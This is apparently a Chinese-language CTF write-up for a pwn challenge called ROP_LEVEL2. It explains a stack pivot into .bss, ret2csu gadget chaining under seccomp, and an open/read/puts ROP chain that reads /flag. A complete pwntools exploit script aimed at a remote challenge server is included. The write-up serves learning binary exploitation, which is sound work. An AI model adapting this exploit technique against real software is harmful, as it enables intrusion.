花了好多天,终于把这个题彻底弄懂了。。。自己太菜了
下载文件,首先checksec检查一下保护。
只开启了堆栈不可执行,接下来拖到IDA看一下C的伪代码。
大致先让你输入,然后再次让你输入。
第一次输入的话,会将输入的数据保存到bss段,第二次是向栈中输入数据,并且可以溢出。经过计算,正好可以溢出到覆盖rbp和返回地址。也就是我们构造的ROP链不能太长,这里就需要我们进行一步栈转移,将栈转移到bss段。
如果栈转移呢?就是再覆盖rbp的时候我们需要将rbp覆盖成我们的假的rbp,然后执行leavel ret这样就我们就可以将栈转移过去,并且可以执行转移过去的命令。当然这里是要转移到bss段,因为bss段的数据我们是可控制的,可以执行我们的命令。
还有就是这个题目,开启了seccomp,这是一种保护,开了这种保护除了白名单上面的函数,我们只能调用open、write、read函数,不能直接拿到shell,不过我们的目的就是拿到flag,已知flag在同目录下的/flag,这样我们就只能用这几个函数来获得flag了。
在这里我们采用csu的方法给寄存器赋值来调用这几个函数。所以先payload这样构造。
1 payload = \'/flag\x00\x00\x00\' # r12->call r13->rdx r14->rsi r15->rdi 2 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ \'a\'*0x8 + p64(0) + p64(1) + \'a\'*0x20 3 4 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+\'a\'*0x38 5 6 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt)
第一行的payload,目的是为了输入open的参数,并且可以正好给rsp留位置占位。
第二行,调用csu,给open加参数,相当于执行了open(“/flag”,0,0)
第三行,在第二行的末尾覆盖的时候,我们已经又给rbp和rbx赋值了,这样我们第二次调用csu的时候就不用再次赋值了,这样可以减少rop链的长度。第三行相当于执行了read(4,flag_addr,0x20),至于那个4是怎么来的,大佬说这个叫流,是堆里的内容,暂时不要我懂。。。反正就是把open的读取到的数据写到flag_addr了。
最后一行就很清楚了,利用puts函数输出flag。
完整的exp:
1 from pwn import * 2 import time 3 4 #p = process(\'./ROP_LEVEL2\') 5 p = remote(\'47.103.214.163\',20300) 6 elf = ELF(\'ROP_LEVEL2\') 7 context.log_level = \'debug\' 8 9 csu_end = 0x0400A3A 10 csu_front = 0x0400A20 11 puts_plt = elf.plt[\'puts\'] 12 13 flag_addr = elf.bss() + 0x200 14 buf_addr = 0x06010A0 15 open_got = elf.got[\'open\'] 16 read_got = elf.got[\'read\'] 17 pop_rdi = 0x0400a43 18 19 payload = \'/flag\x00\x00\x00\' # r12->call r13->rdx r14->rsi r15->rdi 20 payload += p64(csu_end)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf_addr)+p64(csu_front)+ \'a\'*0x8 + p64(0) + p64(1) + \'a\'*0x20 21 payload += p64(csu_end+2)+p64(read_got)+p64(0x20)+p64(flag_addr)+p64(4)+p64(csu_front)+\'a\'*0x38 22 payload += p64(pop_rdi)+p64(flag_addr)+p64(puts_plt) 23 24 p.recvuntil(\'so?\n\') 25 p.send(payload) 26 27 sleep(1) 28 leave_addr = 0x040090d 29 payload1 = \'U\'*0x50 + p64(buf_addr) + p64(leave_addr) 30 p.recvuntil(\'flag\n\n\') 31 p.sendline(payload1) 32 p.recv() 33 p.close()
运行一下,拿到flag!